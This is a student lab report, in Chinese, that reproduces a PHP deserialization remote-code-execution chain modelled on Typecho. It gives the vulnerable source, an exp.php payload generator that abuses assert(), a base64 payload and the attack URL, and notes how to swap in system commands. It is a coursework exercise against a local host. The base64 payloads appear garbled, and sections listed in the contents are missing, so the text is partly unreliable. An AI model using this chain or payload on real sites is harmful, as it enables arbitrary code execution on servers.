



南開大學
Nankai University

计算机学院
软件安全实验报告

实验十三：复现反序列化漏洞实验

姓名：林盛森

学号：2312631

专业：计算机科学与技术

2025 年 6 月 2 日

目录

1 实验名称	2
2 实验要求	2
3 实验过程	2
3.1 编写 typecho.php	2
3.2 编写 exp.php	3
3.3 访问 exp.php	4
3.4 执行其他的系统命令	5
3.4.1 fopen(newfile.txt, w)	5
3.4.2 system("dir")	6
4 心得体会	7

1 实验名称

复现反序列化漏洞

2 实验要求

复现 12.2.3 中的反序列化漏洞，并执行其他的系统命令。

3 实验过程

3.1 编写 typecho.php

```
1  /*typecho.php*/
2  <?php
3  class Typecho_Db{
4      public function __construct($adapterName){
5          $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
6      }
7  }
8
9  class Typecho_Feed{
10     private $item;
11     public function __toString(){
12         $this->item['author']->screenName;
13     }
14 }
15
16 class Typecho_Request{
17
18     private $_params = array();
19     private $_filter = array();
20
21     public function __get($key)
22     {
23         return $this->get($key);
24     }
25
26     public function get($key, $default = NULL)
27     {
28         switch (true) {
29             case isset($this->_params[$key]):
30                 $value = $this->_params[$key];
31                 break;
32             default:
33                 $value = $default;
34                 break;
35         }
```

```

36     $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
37     return $this->_applyFilter($value);
38 }
39
40 private function _applyFilter($value)
41 {
42     if ($this->_filter) {
43         foreach ($this->_filter as $filter) {
44             $value = is_array($value) ? array_map($filter, $value) :
45             call_user_func($filter, $value);
46         }
47
48         $this->_filter = array();
49     }
50
51     return $value;
52 }
53 }
54
55 $config = unserialize(base64_decode($_GET['__typecho_config']));
56 $db = new Typecho_Db($config['adapter']);
57 ?>

```

该 web 应用通过 `$_GET['__typecho_config']` 从用户处获取了反序列化的对象，满足反序列化漏洞的基本条件，`unserialize()` 的参数可控，这里是漏洞的入口点。

接下来，程序实例化了类 `Typecho_Db`，类的参数是通过反序列化得到的 `$config`。在类 `Typecho_Db` 的构造函数中，进行了字符串拼接的操作，而在 PHP 魔术方法中，如果一个类被当做字符串处理，那么类中的 `__toString()` 方法将会被调用。全局搜索，发现类 `Typecho_Feed` 中存在 `__toString()` 方法。

在类 `Typecho_Feed` 的 `__toString()` 方法中，会访问类中私有变量 `$item['author']` 中的 `screenName`，这里又有一个 PHP 反序列化的知识点，如果 `$item['author']` 是一个对象，并且该对象没有 `screenName` 属性，那么这个对象中的 `__get()`，方法将会被调用，在 `Typecho_Request` 类中，正好定义了 `__get()` 方法。

类 `Typecho_Request` 中的 `__get()` 方法会返回 `get()`，`get()` 中调用了 `_applyFilter()` 方法，而在 `_applyFilter()` 中，使用了 PHP 的 `call_user_function()` 函数，其第一个参数是被调用的函数，第二个参数是被调用的函数的参数，在这里 `$filter`，`$value` 都是我们可以控制的，因此可以用来执行任意系统命令。

至此，一条完整的利用链构造成功。

3.2 编写 exp.php

```

1  /*exp.php*/
2  <?php
3  class Typecho_Feed
4  {
5      private $item;

```

```

6
7     public function __construct(){
8         $this->item = array(
9             'author' => new Typecho_Request(),
10        );
11    }
12}
13class Typecho_Request
14{
15    private $_params = array();
16    private $_filter = array();
17    public function __construct(){
18        $this->_params['screenName'] = 'phpinfo()';
19        $this->_filter[0] = 'assert';
20    }
21}
22$exp = array(
23    'adapter' => new Typecho_Feed()
24);
25echo base64_encode(serialize($exp));
26?>

```

上述代码中用到了 PHP 的 `assert()` 函数，如果该函数的参数是字符串，那么该字符串会被 `assert()` 当做 PHP 代码执行，这一点和 PHP 一句话木马常用的 `eval()` 函数有相似之处。`phpinfo()`；便是我们执行的 PHP 代码，如果想要执行系统命令，将 `phpinfo()`；替换为 `system('ls')` (**windows 中为 `dir` 而不是 `ls`**)；即可，注意最后有一个分号。访问 `exp.php` 便可以获得 payload，通过 `get` 请求的方式传递给 `typecho.php` 后，`phpinfo()` 成功执行。

3.3 访问 exp.php

通过访问 `exp.php` 页面，我们得到了如下的 payload：

```

/*exp.php*/ YToxOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6MTp7czoxODoiAFR5cG
VjaG9fRmVlZABpdGVtIjthOjE6e3M6NjoiYXV0aG9yIjtpOjE1OiJUeXBliY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgB
UeXBliY2hvX1JlcXVlc3QAX3BhcmFtcyI7YT0xOntzOjEwOiJzY3JlZW50YW1lIjtzOjk6InBocGluZm8oKSI7fXM6
MjQ6IgBUeXBliY2hvX1JlcXVlc3QAX2ZpbHRlciI7YT0xOntpOjA7czo2OiJhc3NlcnQiO3I9fX19

```

之后，我们只需要通过 `get` 的方式把 payload 传递给 `typecho.php`，`phpinfo()` 就可以成功执行，只需要把这个放在 `typecho.php` 的 url 之后。

```

http://127.0.0.1/typecho.php?__typecho_config=YToxOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fR
mVlZCI6MTp7czoxODoiAFR5cGVjaG9fRmVlZABpdGVtIjthOjE6e3M6NjoiYXV0aG9yIjtpOjE1OiJUeXBliY2hv
X1JlcXVlc3QOjI6e3M6MjQ6IgBUeXBliY2hvX1JlcXVlc3QAX3BhcmFtcyI7YT0xOntzOjEwOiJzY3JlZW50YW1
lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBliY2hvX1JlcXVlc3QAX2ZpbHRlciI7YT0xOntpOjA7czo2OiJhc3
NlcnQiO3I9fX19

```


4 心得体会

通过本次实验，我了解了反序列化的执行过程。并且可以通过更改不同 value 值，通过 assert 操作（如果该函数的参数是字符串，那么该字符串会被 assert() 当做 PHP 代码执行），实现了不同的操作，提高了漏洞挖掘的能力。

至此，我们本学期的实验课程全部结束。从最初对虚拟机一无所知，到现在已经能够熟练进行环境配置、漏洞挖掘与代码编写，我从这门课程中收获到了很多。通过实际操作，我不仅掌握了常见软件漏洞的类型与原理，更提升了自己的动手能力与问题分析能力。同时，这门课程也让我更加深入地理解了软件安全的重要性，增强了网络安全防范意识。相信这些知识和技能将在我今后的学习与软件开发实践中发挥重要作用，也为我今后从事相关领域的工作打下了坚实基础。